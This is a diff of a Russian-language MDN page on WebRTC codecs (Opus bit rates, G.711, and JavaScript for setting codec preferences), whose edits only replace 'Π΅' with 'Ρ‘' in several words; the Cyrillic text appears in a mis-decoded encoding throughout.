<p>Π”ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΎΠ±Π° Ρ€Π΅ΠΆΠΈΠΌΠ° : Ρ€Π΅Ρ‡ΡŒ ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ΅ Π°ΡƒΠ΄ΠΈΠΎ. ΠœΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΡƒΠ΅ΠΌΠΎΡΡ‚ΡŒ ΠΈ Π³ΠΈΠ±ΠΊΠΎΡΡ‚ΡŒ Opus ΠΏΠΎΠ»Π΅Π·Π½Π° ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с Π°ΡƒΠ΄ΠΈΠΎ, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΌΒ Ρ€Π°Π·Π»ΠΈΡ‡Π½ΡƒΡŽΒ ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒΒ ΡΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΠΈ.Β ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° внутриполосных стСрСосигналов позволяСт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ стСрСозвук Π±Π΅Π· услоТнСния процСсса Π΄Π΅ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΏΠ»Π΅ΠΊΡΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ.</p>
-<p>Π’Π΅ΡΡŒ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ Π±ΠΈΡ‚Ρ€Π΅ΠΉΡ‚ΠΎΠ², ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Opus (ΠΎΡ‚ 6 ΠΊΠ±ΠΈΡ‚ / с Π΄ΠΎ 510 ΠΊΠ±ΠΈΡ‚ / с), поддСрТиваСтся Π² WebRTC, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Π±ΠΈΡ‚ΠΎΠ² ΠΌΠΎΠΆΠ½ΠΎ динамичСски ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ.Β Π‘ΠΎΠ»Π΅Π΅ высокиС Π±ΠΈΡ‚ΠΎΠ²Ρ‹Π΅ скорости ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠ°ΡŽΡ‚ качСство..</p>
+<p>Π’Π΅ΡΡŒ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ Π±ΠΈΡ‚Ρ€Π΅ΠΉΡ‚ΠΎΠ², ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Opus (ΠΎΡ‚ 6 ΠΊΠ±ΠΈΡ‚ / с Π΄ΠΎ 510 ΠΊΠ±ΠΈΡ‚ / с), поддСрТиваСтся Π² WebRTC, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Π±ΠΈΡ‚ΠΎΠ² ΠΌΠΎΠΆΠ½ΠΎ динамичСски ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ.Β Π‘ΠΎΠ»Π΅Π΅ высокиС Π±ΠΈΡ‚ΠΎΠ²Ρ‹Π΅ скорости ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠ°ΡŽΡ‚ качСство..</p>
<h4 id="Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ_ΠΏΠΎ_скорости_ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ_Π΄Π°Π½Π½Ρ‹Ρ…_bit_rate">Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ ΠΏΠΎ скорости ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… (bit rate)</h4>
@@ -282,7 +282,7 @@ original_slug: Web/Media/Formats/WebRTC_ΠΊΠΎΠ΄Π΅ΠΊΠΈ
<h3 id="КодСк_G.711">КодСк G.711</h3>
-<p>G.711 опрСдСляСт Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ для Π·Π²ΡƒΠΊΠ° с ΠΈΠΌΠΏΡƒΠ»ΡŒΡΠ½ΠΎΠΉ ΠΊΠΎΠ΄ΠΎΠ²ΠΎΠΉ модуляциСй (PCM) Π² Π²ΠΈΠ΄Π΅ сСрии 8-Π±ΠΈΡ‚Π½Ρ‹Ρ… цСлочислСнных Π²Ρ‹Π±ΠΎΡ€ΠΎΠΊ, взятых с частотой дискрСтизации 8000 Π“Ρ†, Ρ‡Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… 64 ΠΊΠ±ΠΈΡ‚ / с. И Π²Β {{interwiki("wikipedia", "M-law", "Β΅-law")}} , ΠΈΒ Π² {{interwiki("wikipedia", "A-law")}} Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π° ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ°.</p>
+<p>G.711 опрСдСляСт Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ для Π·Π²ΡƒΠΊΠ° с ΠΈΠΌΠΏΡƒΠ»ΡŒΡΠ½ΠΎΠΉ ΠΊΠΎΠ΄ΠΎΠ²ΠΎΠΉ модуляциСй (PCM) Π² Π²ΠΈΠ΄Π΅ сСрии 8-Π±ΠΈΡ‚Π½Ρ‹Ρ… цСлочислСнных Π²Ρ‹Π±ΠΎΡ€ΠΎΠΊ, взятых с частотой дискрСтизации 8000 Π“Ρ†, Ρ‡Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… 64 ΠΊΠ±ΠΈΡ‚ / с. И Π²Β {{interwiki("wikipedia", "M-law", "Β΅-law")}} , ΠΈΒ Π² {{interwiki("wikipedia", "A-law")}} Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π° ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ°.</p>
<p>G.711 <a href="https://www.itu.int/rec/T-REC-G.711-198811-I/en">опрСдСляСтся ITU</a>Β  , Π° Π΅Π³ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π² {{RFC(3551, "4.5.14")}}.</p>
@@ -323,11 +323,11 @@ peerConnection.addEventListener("icegatheringstatechange", (event) =&gt; {
<p>ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события <code>icegatheringstatechange</code> установлСн; Π² Π½Π΅ΠΌ ΠΌΡ‹ отслСТиваСм Ρ‚ΠΈΠΏ события <code>complete</code> Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ сборки кандидатов ICE, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ Ρ‡Ρ‚ΠΎ сборка ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π°. ΠœΠ΅Ρ‚ΠΎΠ΄ {{domxref("RTCPeerConnection.getSenders()")}} вызываСтся для получСния списка всСх ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("RTCRtpSender")}} , ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ…ΡΡ Π² соСдинСнии.</p>
-<p>ИмСя это Π² Π²ΠΈΠ΄Ρƒ, ΠΌΡ‹ просматриваСм список ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚Π΅Π»Π΅ΠΉ ΠΈ ΠΈΡ‰Π΅ΠΌ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ, Ρ‡Π΅ΠΉ {{domxref ("MediaStreamTrack")}} ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ρ‚ΠΈΠΏΒ {{domxref ("MediaStreamTrack.track", "track")}} Π² своСм свойствС  {{domxref("MediaStreamTrack.kind", "kind")}} содСрТит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>video</code>, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π²ΠΈΠ΄Π΅ΠΎΠ΄Π°Π½Π½Ρ‹ΠΌΠΈ. Π—Π°Ρ‚Π΅ΠΌ вызываСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ отправитСля Β {{domxref("RTCRtpSender.getParameters", "getParameters()")}} , ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ свойства  {{domxref("RTCRtpParameters.codecs", "codecs")}} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ³ΠΎΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β {{domxref("RTCRtpSendParameters")}} , ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽΒ <code>codecList</code>.</p>
+<p>ИмСя это Π² Π²ΠΈΠ΄Ρƒ, ΠΌΡ‹ просматриваСм список ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚Π΅Π»Π΅ΠΉ ΠΈ ΠΈΡ‰Π΅ΠΌ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ, Ρ‡Π΅ΠΉ {{domxref ("MediaStreamTrack")}} ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ρ‚ΠΈΠΏΒ {{domxref ("MediaStreamTrack.track", "track")}} Π² своём свойствС  {{domxref("MediaStreamTrack.kind", "kind")}} содСрТит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>video</code>, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π²ΠΈΠ΄Π΅ΠΎΠ΄Π°Π½Π½Ρ‹ΠΌΠΈ. Π—Π°Ρ‚Π΅ΠΌ вызываСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ отправитСля Β {{domxref("RTCRtpSender.getParameters", "getParameters()")}} , ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ свойства  {{domxref("RTCRtpParameters.codecs", "codecs")}} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ³ΠΎΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β {{domxref("RTCRtpSendParameters")}} , ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽΒ <code>codecList</code>.</p>
<p>Если Π²ΠΈΠ΄Π΅ΠΎΡ‚Ρ€Π΅ΠΊ Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½, устанавливаСм  <code>codecList</code>Β Π²Β <code>null</code>.</p>
-<p>ΠŸΡ€ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π΅, <code>codecList </code>Π»ΠΈΠ±ΠΎ Β <code>null</code> , ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° Ρ‚ΠΎ,Β Ρ‡Ρ‚ΠΎ Π²ΠΈΠ΄Π΅ΠΎΠ΄ΠΎΡ€ΠΎΠΆΠΊΠΈ Π½Π΅ Π±Ρ‹Π»ΠΈ Π½Π°ΠΉΠ΄Π΅Π½Ρ‹, Π»ΠΈΠ±ΠΎ это массив {{domxref ("RTCRtpCodecParameters")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… описываСт ΠΎΠ΄Π½Ρƒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΡƒΡŽ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡŽ ΠΊΠΎΠ΄Π΅ΠΊΠ°. ОсобоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² этих ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ… ΠΈΠΌΠ΅Π΅Ρ‚ свойство {{domxref ("RTCRtpCodecParameters.payloadType", "payloadType")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ являСтся ΠΎΠ΄Π½ΠΎΠ±Π°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, ΠΎΠ΄Π½ΠΎΠ·Π½Π°Ρ‡Π½ΠΎ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠΏΠΈΡΠ°Π½Π½ΡƒΡŽ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡŽ.</p>
+<p>ΠŸΡ€ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π΅, <code>codecList </code>Π»ΠΈΠ±ΠΎ Β <code>null</code> , ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° Ρ‚ΠΎ,Β Ρ‡Ρ‚ΠΎ Π²ΠΈΠ΄Π΅ΠΎΠ΄ΠΎΡ€ΠΎΠΆΠΊΠΈ Π½Π΅ Π±Ρ‹Π»ΠΈ Π½Π°ΠΉΠ΄Π΅Π½Ρ‹, Π»ΠΈΠ±ΠΎ это массив {{domxref ("RTCRtpCodecParameters")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… описываСт ΠΎΠ΄Π½Ρƒ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΡƒΡŽ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡŽ ΠΊΠΎΠ΄Π΅ΠΊΠ°. ОсобоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² этих ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ… ΠΈΠΌΠ΅Π΅Ρ‚ свойство {{domxref ("RTCRtpCodecParameters.payloadType", "payloadType")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ являСтся ΠΎΠ΄Π½ΠΎΠ±Π°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, ΠΎΠ΄Π½ΠΎΠ·Π½Π°Ρ‡Π½ΠΎ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠΏΠΈΡΠ°Π½Π½ΡƒΡŽ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡŽ.</p>
<div class="blockIndicator note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ :</strong>Β  Π”Π²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° получСния списков ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ², ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ здСсь, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Π²Ρ‹Π²ΠΎΠ΄Π° Π² своих списках ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ².Β ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅ ΠΎΠ± этом ΠΏΡ€ΠΈ использовании Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ²</p>
@@ -356,17 +356,17 @@ peerConnection.addEventListener("icegatheringstatechange", (event) =&gt; {
}
</pre>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ функция Β <code>changeVideoCodec()</code>Β ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ MIME Ρ‚ΠΈΠΏ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΊ использованию ΠΊΠΎΠ΄Π΅ΠΊΠ°. Код начинаСтся с получСния списка ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΏΡ€ΠΈΠ΅ΠΌΠΎ-ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° соСдинСния {{domxref("RTCPeerConnection")}}.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ функция Β <code>changeVideoCodec()</code>Β ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ MIME Ρ‚ΠΈΠΏ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΊ использованию ΠΊΠΎΠ΄Π΅ΠΊΠ°. Код начинаСтся с получСния списка ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΏΡ€ΠΈΡ‘ΠΌΠΎ-ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° соСдинСния {{domxref("RTCPeerConnection")}}.</p>
-<p>Π—Π°Ρ‚Π΅ΠΌ, для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠ΅ΠΌΠΎ-ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚Ρ‡ΠΈΠΊΠ° Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌ Ρ‚ΠΈΠΏ мСдиа свойства {{domxref("RTCRtpSender")}}'s track's {{domxref("MediaStreamTrack.kind", "kind")}}. Π’Π°ΠΊ ΠΆΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ список ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ² стороны ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΈ получСния  <code>video</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ статичСский ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>getCapabilities()</code>Β ΠΎΠ±ΠΎΠΈΡ… классов {{domxref("RTCRtpSender")}} ΠΈΒ {{domxref("RTCRtpReceiver")}}.</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ, для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΡ‘ΠΌΠΎ-ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚Ρ‡ΠΈΠΊΠ° Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌ Ρ‚ΠΈΠΏ мСдиа свойства {{domxref("RTCRtpSender")}}'s track's {{domxref("MediaStreamTrack.kind", "kind")}}. Π’Π°ΠΊ ΠΆΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ список ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ² стороны ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΈ получСния  <code>video</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ статичСский ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>getCapabilities()</code>Β ΠΎΠ±ΠΎΠΈΡ… классов {{domxref("RTCRtpSender")}} ΠΈΒ {{domxref("RTCRtpReceiver")}}.</p>
<p>Если Ρ‚ΠΈΠΏ ΠΌΠ΅Π΄ΠΈΠ°Π΄Π°Π½Π½Ρ‹Ρ… являСтся Ρ‚ΠΈΠΏΠΎΠΌ Β <code>video</code>, Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>preferCodec()</code> для ΠΎΠ±ΠΎΠΈΡ… Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… сторон списков ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π΅ΠΎΡ€Π³Π°Π½ΠΈΠ·ΡƒΠ΅Ρ‚ список ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ² Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌΒ Β (смотри Π½ΠΈΠΆΠ΅).</p>
<p>И Π½Π°ΠΊΠΎΠ½Π΅Ρ†, Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{domxref("RTCRtpTransceiver.setCodecPreferences", "setCodecPreferences()")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β  {{domxref("RTCRtpTransceiver")}} для опрСдСлСния Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ использованиС ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ² ΠΎΠ±Π΅ΠΈΡ… сторон Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ, Π² ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌ порядкС.</p>
-<p>Π­Ρ‚ΠΎ выполняСтся для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΏΡ€ΠΈΠ΅ΠΌΠΎ-ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚Ρ‡ΠΈΠΊΠ° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° соСдинСния  <code>RTCPeerConnection</code>; ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ всС ΠΏΡ€ΠΈΠ΅ΠΌΠΎ-ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚Ρ‡ΠΈΠΊΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΠ»ΠΈ списки ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Ρ… ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ², вызываСтся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события  {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}} , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаСт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ прСдлоТСния, обновляСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ локального описания сСссии, отправляСт ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌΡƒ ΡƒΠ·Π»Ρƒ, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅, запуская согласованиС соСдинСния .</p>
+<p>Π­Ρ‚ΠΎ выполняСтся для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΏΡ€ΠΈΡ‘ΠΌΠΎ-ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚Ρ‡ΠΈΠΊΠ° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° соСдинСния  <code>RTCPeerConnection</code>; ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ всС ΠΏΡ€ΠΈΡ‘ΠΌΠΎ-ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚Ρ‡ΠΈΠΊΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΠ»ΠΈ списки ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Ρ… ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ², вызываСтся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события  {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}} , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаёт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ прСдлоТСния, обновляСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ локального описания сСссии, отправляСт ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌΡƒ ΡƒΠ·Π»Ρƒ, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅, запуская согласованиС соСдинСния .</p>
-<p>Ѐункция <code>preferCodec()</code> вызываСмая привСдСнным Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄ΠΎΠΌ, дСйствуСт Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄Π΅ΠΊ Π² Π²Π΅Ρ€Ρ…Π½ΡŽΡŽ Ρ‡Π°ΡΡ‚ΡŒ списка (для ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚Π° Π²ΠΎ врСмя согласования):</p>
+<p>Ѐункция <code>preferCodec()</code> вызываСмая привСдённым Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄ΠΎΠΌ, дСйствуСт Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄Π΅ΠΊ Π² Π²Π΅Ρ€Ρ…Π½ΡŽΡŽ Ρ‡Π°ΡΡ‚ΡŒ списка (для ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚Π° Π²ΠΎ врСмя согласования):</p>
<pre class="brush: js notranslate">function preferCodec(codecs, mimeType) {
let otherCodecs = [];
@@ -384,11 +384,11 @@ peerConnection.addEventListener("icegatheringstatechange", (event) =&gt; {
return sortedCodecs.concat(otherCodecs);
}</pre>
